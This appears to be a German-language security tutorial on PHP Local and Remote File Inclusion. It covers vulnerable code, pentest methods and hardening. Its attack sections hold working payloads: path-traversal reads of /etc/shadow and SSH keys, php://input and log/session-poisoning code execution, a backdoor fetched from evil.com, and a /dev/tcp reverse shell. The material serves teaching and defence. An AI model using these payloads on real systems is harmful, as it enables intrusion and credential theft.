LFI/RFI - Local File Inclusion und Remote File Inclusion
File-Inclusion-Schwachstellen entstehen wenn Webanwendungen Dateinamen aus Benutzereingaben in Datei-Lade-Funktionen verwenden ohne ausreichende Validierung. LFI (Local File Inclusion) liest lokale Serverdateien wie /etc/passwd oder Logfiles. RFI (Remote File Inclusion) bindet externe URLs ein und ermöglicht so Remote Code Execution. Hauptvektoren in PHP-Anwendungen. Schutz: Input-Validierung, allow_url_include=Off, basename() Normalisierung.
File Inclusion ist eine Schwachstellenklasse die fast ausschließlich in PHP-Anwendungen auftritt, wenn Dateinamen aus Nutzereingaben in include(), require(), include_once() oder require_once() verwendet werden. LFI (Local File Inclusion) liest lokale Dateien; RFI (Remote File Inclusion) lädt und führt externe URLs aus - beides kann bis zu vollständiger Systemkompromittierung führen.
Das Grundprinzip
Anfälliger PHP-Code (klassisch):
<?php
$page = $_GET['page'];
include($page . '.php');
// URL: https://site.com/?page=contact
// → include('contact.php') - normal
// URL: https://site.com/?page=/etc/passwd
// → include('/etc/passwd.php') - Fehler (Endung fehlt)
// URL: https://site.com/?page=/etc/passwd%00
// → include('/etc/passwd') - Nullbyte-Truncation (PHP < 5.3.4!)
// Noch gefährlicher (ohne Endung):
$page = $_GET['page'];
include($page);
// Kein automatisches .php anhängen
// → jede Datei auf dem Server einlesbar!
Typische anfällige Parameter-Namen:
?page=, ?file=, ?lang=, ?include=, ?template=, ?module=, ?view=, ?content=, ?path=, ?doc=
LFI - Local File Inclusion
Ziel-Dateien auf Linux/Unix
/etc/passwd- Benutzerliste (kein Passwort, nur System-User)/etc/shadow- Passwort-Hashes (root-Rechte nötig, seltener lesbar)/etc/hosts- Netzwerkkonfiguration/proc/self/environ- Umgebungsvariablen (inkl. Secrets!)/proc/self/cmdline- Startkommando des Prozesses/var/log/apache2/access.log- Apache-Logs (für Log-Poisoning!)/var/log/nginx/error.log~/.ssh/id_rsa- SSH Private Key~/.aws/credentials- AWS Access Keys/var/www/html/config.php- Datenbank-Passwörter
Ziel-Dateien auf Windows
C:\Windows\System32\drivers\etc\hostsC:\xampp\htdocs\config.phpC:\inetpub\wwwroot\web.config
Path-Traversal-Kombination mit LFI
?page=../../etc/passwd
?page=....//....//etc/passwd (Bypass-Technik)
?page=%2e%2e%2fetc%2fpasswd (URL-encoding)
PHP-Wrapper (mächtige LFI-Erweiterung)
# Datei als Base64 lesen (nicht-executable, umgeht Sandbox!):
?page=php://filter/convert.base64-encode/resource=config.php
# Response: PD9waHAgJHBhc3N3b3... (Base64 von config.php!)
# Decode: echo "PD9w..." | base64 -d → Klartext-PHP mit DB-Credentials
# Input-Wrapper:
?page=php://input
# POST-Body: <?php system('id'); ?>
# → Remote Code Execution via LFI!
# Data-Wrapper:
?page=data://text/plain;base64,PHBocCBzeXN0ZW0oJ2lkJyk7ID8+
# → RCE wenn allow_url_include = On!
Log Poisoning - LFI zu RCE
Schritt 1 - PHP-Code in Logs injizieren
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
Nginx/Apache loggt diesen Request in die access.log.
Schritt 2 - Log via LFI einbinden
?page=/var/log/nginx/access.log&cmd=id
PHP liest die access.log ein, interpretiert den eingebetteten Code und führt system('id') aus → uid=33(www-data) → Remote Code Execution.
Andere Log-Dateien für Log-Poisoning
/var/log/auth.log- SSH-Login-Versuche → PHP im Username injizieren/proc/self/fd/0- STDIN des Prozesses/tmp/sess_SESSIONID- PHP Session-Dateien
Session-Poisoning
Cookie: PHPSESSID=abc123
→ Session-Datei: /tmp/sess_abc123
→ Session-Inhalt: username|s:7:"<?php system('id');?>";
→ ?page=/tmp/sess_abc123 → RCE!
RFI - Remote File Inclusion
RFI setzt allow_url_include = On in der php.ini voraus (Standard seit PHP 5: Off).
Angriff
# 1. Angreifer hostet PHP-Backdoor:
# http://evil.com/shell.txt enthält:
# <?php system($_GET['cmd']); ?>
# 2. RFI ausnutzen:
# https://target.com/?page=http://evil.com/shell.txt&cmd=id
# → PHP lädt evil.com/shell.txt
# → Führt Code aus: system('id')
# → Output: uid=33(www-data) gid=33(www-data)
# 3. Reverse Shell via RFI:
# evil.com/shell.txt: <?php system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'); ?>
# → Angreifer erhält interaktive Shell!
SMB/UNC-Pfade (Windows)
?page=\\evil.com\share\shell.php
→ Windows macht SMB-Request → NTLM-Hash-Leak!
Erkennung im Pentest
LFI/RFI-Testing-Methodik
1. Parameter-Discovery
Alle GET/POST-Parameter identifizieren; suchen nach: page=, file=, lang=, include=, template=, view=. Burp Suite Spider + Parameter-Analyse.
2. LFI-Basis-Tests
# Linux-Standard:
?page=/etc/passwd
?page=../../etc/passwd
?page=/etc/passwd%00 (für PHP < 5.3.4)
# PHP-Wrapper:
?page=php://filter/convert.base64-encode/resource=index.php
# Bei Base64-Response: LFI bestätigt!
3. Automatisiert mit LFISuite/LFImap
python lfisuite.py
# Automatische Tests: Path-Traversal, Wrappers, Log-Poisoning
4. Wazuh/OWASP ZAP
Active Scan → File Inclusion → Automatische Tests
5. RFI-Test
# Test mit externem HTTPS-Request:
?page=http://burpcollaborator.net/
# In Burp Collaborator: DNS-Anfrage → RFI möglich!
6. Bestätigung von RCE (nur bei explizitem Scope!)
?page=php://input # POST mit: <?php phpinfo(); ?>
# phpinfo()-Ausgabe → RCE bestätigt
Schutzmaßnahmen
1. Whitelist-basierter Include (beste Methode)
// FALSCH:
include($_GET['page'] . '.php');
// RICHTIG - Whitelist!
$allowed_pages = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed_pages)) {
$page = 'home'; // sicherer Default
}
include($page . '.php');
// Kein User-Input direkt in include()!
2. Wenn dynamisches Include unvermeidbar
// basename() entfernt Path-Traversal:
$page = basename($_GET['page']);
// Aus "../../etc/passwd" wird "passwd"
// realpath() + startsWith-Check:
$allowed_dir = '/var/www/html/pages/';
$page = realpath($allowed_dir . basename($_GET['page']) . '.php');
if (!str_starts_with($page, $allowed_dir)) {
die('Invalid page');
}
include($page);
3. PHP-Konfiguration härten
; php.ini:
allow_url_include = Off ; KRITISCH! verhindert RFI
allow_url_fopen = Off ; wenn nicht benötigt
open_basedir = /var/www/html:/tmp ; Dateisystem-Jail
4. Logs schützen (gegen Log-Poisoning)
- Logs außerhalb des Web-Root ablegen
- PHP kann Logs nicht lesen (open_basedir)
- Strukturiertes Logging einsetzen (kein roher User-Input in Logs)
5. Template-Engine nutzen statt include()
- Twig, Blade, Smarty: kein PHP-Execution in Templates
- Templates außerhalb des Zugriffs von User-Input halten
6. ModSecurity WAF-Regeln
- OWASP CRS: LFI/RFI-Signaturen
- Blockiert bekannte Path-Traversal-Sequences
- Ergänzt Code-Fixes, ersetzt sie nicht